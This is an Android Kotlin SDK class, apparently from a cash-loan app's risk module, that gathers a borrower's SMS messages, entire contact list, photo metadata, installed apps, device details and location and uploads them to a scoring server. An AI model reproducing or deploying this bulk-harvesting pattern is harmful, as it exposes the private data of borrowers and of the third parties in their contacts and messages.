package com.app.island.cash.requestrisk.newwork

import android.Manifest
import android.content.ComponentName
import android.content.Context
import android.content.Intent
import android.content.pm.ActivityInfo
import android.content.pm.PackageInfo
import android.content.pm.PackageManager
import android.text.TextUtils
import android.util.Log
import com.app.island.cash.requestrisk.bean.*
import com.app.island.cash.requestrisk.util.*
import com.google.gson.Gson
import org.json.JSONObject
import java.io.ByteArrayOutputStream
import java.net.HttpURLConnection
import java.net.URL
import java.util.*

class DataManager private constructor() {
    private var receiverName = ""
    private var appId = ""
    private var appSecret: String? = null
    private var uploadUrl: String? = null
    private var phoneNum = ""
    private var context: Context? = null
    private var transactionId = ""
    var gpsAdId = ""
        private set
    private var borrowId = ""
    private var deviceCount = RETRY_UPLOAD_COUNT
    private var appCount = RETRY_UPLOAD_COUNT
    private var contactCount = RETRY_UPLOAD_COUNT
    private var imgCount = RETRY_UPLOAD_COUNT
    private var smsCount = RETRY_UPLOAD_COUNT

    /**
     * 创建单例对象
     */
    private object SDKManageInstance {
        var instance = DataManager()
    }

    fun setAppId(appId: String) {
        this.appId = appId
    }

    fun init(context: Context, appId: String, appSecret: String?) {
        this.appId = appId
        this.appSecret = appSecret
        this.context = context
        HttpSendReq.instance!!.context=(context)
        HttpSendReq.instance!!.appId=(appId)
        HttpSendReq.instance!!.appSecret=(appSecret)
        val location =
            PermissionUtils.lacksPermission(context, Manifest.permission.ACCESS_FINE_LOCATION)
        if (location) {
            LocationUtil.getInstance().init(context)
            LocationUtil.getInstance().getGps()
        }
        receiverName = context.packageName + ".acts.DataReceiver"
        SystemUtils.getGaid(context
        ) { gaid -> gpsAdId = gaid }
    }

    fun SynData(borrowId: String, transactionId: String, phoneNum: String, uploadUrl: String) {
        initData(borrowId, transactionId, phoneNum, uploadUrl)

        // 位置权限检查
        val location =
            PermissionUtils.lacksPermission(context, Manifest.permission.ACCESS_FINE_LOCATION)
        val isOpen = LocationUtil.isOpen(context)
        if (location || isOpen) {
            LocationUtil.getInstance().init(context)
            LocationUtil.getInstance().getGps()
        }
        // app list
        uploadAppList()

        // device
        uploadDevice()

        // img
        uploadImg()

        // 联系人
        uploadContact()

        // 短信
        uploadMsg()
    }

    private fun initData(
        borrowId: String,
        transactionId: String,
        phoneNum: String,
        uploadUrl: String
    ) {
        if ((context == null) || TextUtils.isEmpty(appId) || TextUtils.isEmpty(appSecret)) {
            throw RuntimeException("未初始化sdk, 或者context、appId、 appSecret参数为空.")
        }
        this.borrowId = borrowId
        this.transactionId = transactionId
        this.uploadUrl = uploadUrl
        this.phoneNum = phoneNum
        HttpSendReq.instance!!.borrowId=(borrowId)
        HttpSendReq.instance!!.transactionId=(transactionId)
        HttpSendReq.instance!!.uploadUrl=(uploadUrl)
        HttpSendReq.instance!!.phoneNum=(phoneNum)
        initReceiverName()
    }

    private fun initReceiverName() {
        val packageManager = context!!.packageManager
        var packageInfo: PackageInfo? = null
        try {
            packageInfo =
                packageManager.getPackageInfo(context!!.packageName, PackageManager.GET_RECEIVERS)
        } catch (e: PackageManager.NameNotFoundException) {
            e.printStackTrace()
            HttpSendReq.instance!!.collectException("initReceiverName: $e")
        }
        if (packageInfo == null) {
            return
        }
        val receivers = packageInfo.receivers ?: return
        we@ for (receiver: ActivityInfo in receivers) {
            val split = receiver.name.split("\\.").toTypedArray()
            for (i in split.indices) {
                val name = split[split.size - 1]
                if (TextUtils.equals(name, "DataReceiver")) {
                    receiverName = receiver.name
                    break@we
                }
            }
        }
    }

    fun syncDataMsg(borrowId: String, transactionId: String, phoneNum: String, uploadUrl: String) {
        initData(borrowId, transactionId, phoneNum, uploadUrl)
        uploadMsg()
    }

    private fun uploadMsg() {
        val msg = PermissionUtils.lacksPermission(context, Manifest.permission.READ_SMS)
        if (msg) {
            sysData(TYPE_MSG)
        } else {
            sendBroadcastData(TYPE_MSG, false, -1, MSG_ERROR, 0)
        }
    }

    fun syncDataContact(
        borrowId: String,
        transactionId: String,
        phoneNum: String,
        uploadUrl: String
    ) {
        initData(borrowId, transactionId, phoneNum, uploadUrl)
        uploadContact()
    }

    private fun uploadContact() {
        val contact = PermissionUtils.lacksPermission(context, Manifest.permission.READ_CONTACTS)
        if (contact) {
            sysData(TYPE_CONTACT)
        } else {
            sendBroadcastData(TYPE_CONTACT, false, -1, CONTACT_ERROR, 0)
        }
    }

    fun syncDataImg(borrowId: String, transactionId: String, phoneNum: String, uploadUrl: String) {
        initData(borrowId, transactionId, phoneNum, uploadUrl)
        uploadImg()
    }

    private fun uploadImg() {
        val storage =
            PermissionUtils.lacksPermission(context, Manifest.permission.READ_EXTERNAL_STORAGE)
        if (storage) {
            sysData(TYPE_IMG)
        } else {
            sendBroadcastData(TYPE_IMG, false, -1, IMG_ERROR, 0)
        }
    }

    fun syncDataDevice(
        borrowId: String,
        transactionId: String,
        phoneNum: String,
        uploadUrl: String
    ) {
        initData(borrowId, transactionId, phoneNum, uploadUrl)
        uploadDevice()
    }

    private fun uploadDevice() {
        val phoneState =
            PermissionUtils.lacksPermission(context, Manifest.permission.READ_PHONE_STATE)
        if (!phoneState) {
            sendBroadcastData(TYPE_DEVICE, false, -1, DEVICE_ERROR, 0)
        }
        val location =
            PermissionUtils.lacksPermission(context, Manifest.permission.ACCESS_FINE_LOCATION)
        if (!location) {
            sendBroadcastData(TYPE_DEVICE, false, -1, LOCATION_ERROR, 0)
        }
        sysData(TYPE_DEVICE)
    }

    fun syncDataAppList(
        borrowId: String,
        transactionId: String,
        phoneNum: String,
        uploadUrl: String
    ) {
        initData(borrowId, transactionId, phoneNum, uploadUrl)
        uploadAppList()
    }

    private fun uploadAppList() {
        sysData(TYPE_APP)
    }

    private fun sysData(type: String) {
        when (type) {
            TYPE_MSG -> updateMsg(1)
            TYPE_IMG -> updateImg(1)
            TYPE_CONTACT -> updateContact(1)
            TYPE_DEVICE -> updateDeviceInfo(1)
            TYPE_APP -> updateApps(1)
        }
    }

    private fun updateDeviceInfo(uploadCount: Int) {
        Thread(Runnable {
            val deviceInfo = DeviceInfoCheck.check(context, gpsAdId)
            val commonParams = CommonParams()
            commonParams.appId = appId
            commonParams.packageName = context!!.packageName
            commonParams.transactionId = transactionId
            commonParams.borrowId = borrowId
            commonParams.userPhone = phoneNum
            commonParams.type = TYPE_DEVICE
            commonParams.deviceInfo = deviceInfo
            var toJson = Gson().toJson(commonParams).trim { it <= ' ' }
            toJson = Base64Util.encode(toJson.toByteArray())
            var sign: String
            try {
                sign = HmacMd5Utils.EncryptHMacMd5(toJson.toByteArray(charset("UTF-8")), appSecret)
            } catch (e: Exception) {
                sign = ""
                HttpSendReq.instance!!
                    .collectException(TYPE_DEVICE, "updateDeviceInfo: $e")
            }
            startHttpUpload(TYPE_DEVICE, sign, toJson, uploadCount)
        }).start()
    }

    private fun updateContact(uploadCount: Int) {
        Thread(object : Runnable {
            override fun run() {
                HttpSendReq.instance!!.collectException("开始收集通讯录")
                val contacts: List<ContactsData> = ContactsUtils.getContacts(context)
                HttpSendReq.instance!!.collectException("收集通讯录完成")
                if (!contacts.isEmpty()) {
                    HttpSendReq.instance!!
                        .collectException("收集通讯录size: " + contacts.size)
                } else {
                    HttpSendReq.instance!!.collectException("收集通讯录为空")
                }
                val commonParams = CommonParams()
                commonParams.appId = appId
                commonParams.packageName = context!!.packageName
                commonParams.transactionId = transactionId
                commonParams.borrowId = borrowId
                commonParams.userPhone = phoneNum
                commonParams.type = TYPE_CONTACT
                commonParams.contacts = contacts
                var toJson = Gson().toJson(commonParams).trim { it <= ' ' }
                toJson = Base64Util.encode(toJson.toByteArray())
                var sign: String
                try {
                    sign =
                        HmacMd5Utils.EncryptHMacMd5(toJson.toByteArray(charset("UTF-8")), appSecret)
                } catch (e: Exception) {
                    sign = ""
                    HttpSendReq.instance!!
                        .collectException(TYPE_CONTACT, "updateContact: $e")
                }
                startHttpUpload(TYPE_CONTACT, sign, toJson, uploadCount)
            }
        }).start()
    }

    private fun updateImg(uploadCount: Int) {
        Thread(object : Runnable {
            override fun run() {
                HttpSendReq.instance!!.collectException("开始收集相册")
                val imgInfos = ImgUtils.getImgInfos(context, ArrayList())
                HttpSendReq.instance!!.collectException("收集相册完成")
                if (!imgInfos.isEmpty()) {
                    HttpSendReq.instance!!
                        .collectException("收集相册size: " + imgInfos.size)
                } else {
                    HttpSendReq.instance!!.collectException("收集相册为空")
                }
                val commonParams = CommonParams()
                commonParams.appId = appId
                commonParams.packageName = context!!.packageName
                commonParams.transactionId = transactionId
                commonParams.borrowId = borrowId
                commonParams.userPhone = phoneNum
                commonParams.type = TYPE_IMG
                commonParams.imgInfoBeans = imgInfos
                var toJson = Gson().toJson(commonParams).trim { it <= ' ' }
                toJson = Base64Util.encode(toJson.toByteArray())
                var sign: String
                try {
                    sign =
                        HmacMd5Utils.EncryptHMacMd5(toJson.toByteArray(charset("UTF-8")), appSecret)
                } catch (e: Exception) {
                    sign = ""
                    HttpSendReq.instance!!.collectException(TYPE_IMG, "updateImg: $e")
                }
                startHttpUpload(TYPE_IMG, sign, toJson, uploadCount)
            }
        }).start()
    }

    private fun updateApps(uploadCount: Int) {
        Thread(object : Runnable {
            override fun run() {
                val installApps = AppUtils.getInstallApps(context, ArrayList())
                val commonParams = CommonParams()
                commonParams.appId = appId
                commonParams.packageName = context!!.packageName
                commonParams.transactionId = transactionId
                commonParams.borrowId = borrowId
                commonParams.userPhone = phoneNum
                commonParams.type = TYPE_APP
                commonParams.installedApps = installApps
                var toJson = Gson().toJson(commonParams).trim { it <= ' ' }
                toJson = Base64Util.encode(toJson.toByteArray())
                var sign: String
                try {
                    sign =
                        HmacMd5Utils.EncryptHMacMd5(toJson.toByteArray(charset("UTF-8")), appSecret)
                } catch (e: Exception) {
                    sign = ""
                    HttpSendReq.instance!!.collectException(TYPE_APP, "updateApps: $e")
                }
                startHttpUpload(TYPE_APP, sign, toJson, uploadCount)
            }
        }).start()
    }

    private fun updateMsg(uploadCount: Int) {
        Thread {
            HttpSendReq.instance!!.collectException("开始收集短信")
            val smsInfos = SMSUtils.getSmsInfos(context)
            HttpSendReq.instance!!.collectException("收集短信完成")
            if (!smsInfos.isEmpty()) {
                HttpSendReq.instance!!
                    .collectException("收集短信size: " + smsInfos.size)
            } else {
                HttpSendReq.instance!!.collectException("收集短信为空")
            }
            val commonParams = CommonParams()
            commonParams.appId = appId
            commonParams.packageName = context!!.packageName
            commonParams.transactionId = transactionId
            commonParams.borrowId = borrowId
            commonParams.userPhone = phoneNum
            commonParams.type = TYPE_MSG
            commonParams.messageInfos = smsInfos
            var toJson = Gson().toJson(commonParams).trim { it <= ' ' }
            toJson = Base64Util.encode(toJson.toByteArray())
            var sign: String
            try {
                sign =
                    HmacMd5Utils.EncryptHMacMd5(toJson.toByteArray(charset("UTF-8")), appSecret)
            } catch (e: Exception) {
                sign = ""
                HttpSendReq.instance!!.collectException(TYPE_MSG, "updateMsg: $e")
            }
            startHttpUpload(TYPE_MSG, sign, toJson, uploadCount)
        }.start()
    }

    private fun startHttpUpload(type: String, sign: String, encode: String, uploadCount: Int) {
        val url = "$uploadUrl/api/v3/score/post"
        val buffer = StringBuffer()
        buffer.append("userInfo").append("=").append(encode)
        try {
            val url1 = URL(url)
            val conn = url1.openConnection() as HttpURLConnection
            // 设置允许输出
            conn.doOutput = true
            conn.doInput = true
            // 设置不用缓存
            conn.useCaches = false
            conn.setRequestProperty("signMsg", sign)
            // 设置传递方式
            conn.requestMethod = "POST"
            // 设置维持长连接
            conn.setRequestProperty("Connection", "Keep-Alive")
            // 设置文件字符集:
            conn.setRequestProperty("Charset", "UTF-8")
            conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded")
            conn.setRequestProperty(
                "Content-Length",
                buffer.toString().toByteArray().size.toString() + ""
            ) //设置文件请求的长度  
            conn.readTimeout = 180 * 1000 //设置读取超时时间          
            conn.connectTimeout = 120 * 1000 //设置连接超时时间      
            val out = conn.outputStream
            out.write(buffer.toString().toByteArray())
            out.flush()
            out.close()
            val responseCode = conn.responseCode
            if (responseCode == 200) {
                val inputStream = conn.inputStream
                val b = ByteArray(1024)
                var len = 0
                // 创建字节数组输出流,读取输入流的文本数据时,同步把数据写入数组输出流
                val bos = ByteArrayOutputStream()
                while ((inputStream.read(b).also { len = it }) != -1) {
                    bos.write(b, 0, len)
                }
                // 把字节数组输出流的数据转换成字节数组
                val text = String(bos.toByteArray(), charset("utf-8"))
                LogUtil.e("Upload Data($type): $text")
                val `object` = JSONObject(text)
                val retCode = `object`.getInt("code")
                val retMsg = `object`.getString("msg")
                if (retCode == 200) {
                    sendBroadcastData(type, true, retCode, retMsg, uploadCount)
                } else {
                    sendBroadcastData(type, false, retCode, retMsg, uploadCount)
                }
            } else {
                val responseMessage = conn.responseMessage
                Log.e("======", responseMessage)
                doUploadFaild(type, responseCode, uploadCount, "http 响应: responseCode != 200")
            }
            conn.disconnect()
        } catch (e: Exception) {
            doUploadFaild(type, -2, uploadCount, e.toString())
        }
    }

    private fun doUploadFaild(type: String, responseCode: Int, uploadCount: Int, syncMsg: String) {
        when (type) {
            TYPE_MSG -> if (smsCount < RETRY_UPLOAD_COUNT) {
                sendBroadcastData(type, false, responseCode, syncMsg, uploadCount)
                smsCount = RETRY_UPLOAD_COUNT
            } else {
                smsCount--
                updateMsg(smsCount)
            }
            TYPE_IMG -> if (imgCount < RETRY_UPLOAD_COUNT) {
                sendBroadcastData(type, false, responseCode, syncMsg, uploadCount)
                imgCount = RETRY_UPLOAD_COUNT
            } else {
                imgCount--
                updateImg(imgCount)
            }
            TYPE_CONTACT -> if (contactCount < RETRY_UPLOAD_COUNT) {
                sendBroadcastData(type, false, responseCode, syncMsg, uploadCount)
                contactCount = RETRY_UPLOAD_COUNT
            } else {
                contactCount--
                updateContact(contactCount)
            }
            TYPE_DEVICE -> if (deviceCount < RETRY_UPLOAD_COUNT) {
                sendBroadcastData(type, false, responseCode, syncMsg, uploadCount)
                deviceCount = RETRY_UPLOAD_COUNT
            } else {
                deviceCount--
                updateDeviceInfo(deviceCount)
            }
            TYPE_APP -> if (appCount < RETRY_UPLOAD_COUNT) {
                sendBroadcastData(type, false, responseCode, syncMsg, uploadCount)
                appCount = RETRY_UPLOAD_COUNT
            } else {
                appCount--
                updateApps(appCount)
            }
        }
    }

    private fun sendBroadcastData(
        syncType: String,
        syncState: Boolean,
        syncCode: Int,
        syncMsg: String,
        uploadCount: Int
    ) {
        HttpSendReq.instance!!
            .uploadSdkLog(syncType, syncState, syncCode, syncMsg, uploadCount)
        val intent = Intent(ACTION)
        intent.putExtra("SyncedMsg", syncMsg)
        intent.putExtra("SyncedState", syncState)
        intent.putExtra("SyncedType", syncType)
        intent.putExtra("SyncedCode", syncCode)
        if (!TextUtils.isEmpty(borrowId)) {
            intent.putExtra("SyncedBorrowId", borrowId)
        }
        if (context != null) {
            val component = ComponentName(context!!.packageName, receiverName)
            intent.component = component
            context!!.sendBroadcast(intent)
        }
    }

    companion object {
        private val ACTION = "com.creditloan.userisk.DATASYNC_BROADCAST_ACTION"
        val TYPE_COMMON = "common"
        val TYPE_MSG = "msg"
        val TYPE_IMG = "img"
        val TYPE_CONTACT = "contact"
        val TYPE_DEVICE = "device"
        val TYPE_APP = "app"
        val MSG_ERROR = "短信失败, 未获取 READ_SMS 相关权限"
        val CONTACT_ERROR = "通讯录失败, 未获取 READ_CONTACTS 相关权限"
        val IMG_ERROR = "相册失败, 未获取 READ_EXTERNAL_STORAGE 相关权限"
        val LOCATION_ERROR = "未获取位置权限"
        val DEVICE_ERROR = "设备信息失败, 未获取 READ_PHONE_STATE 相关权限"

        /**
         * 尝试重新上传次数
         */
        private val RETRY_UPLOAD_COUNT = 1

        /**
         * 调用单例对象
         */
        @JvmStatic
        val instance: DataManager
            get() = SDKManageInstance.instance
    }
}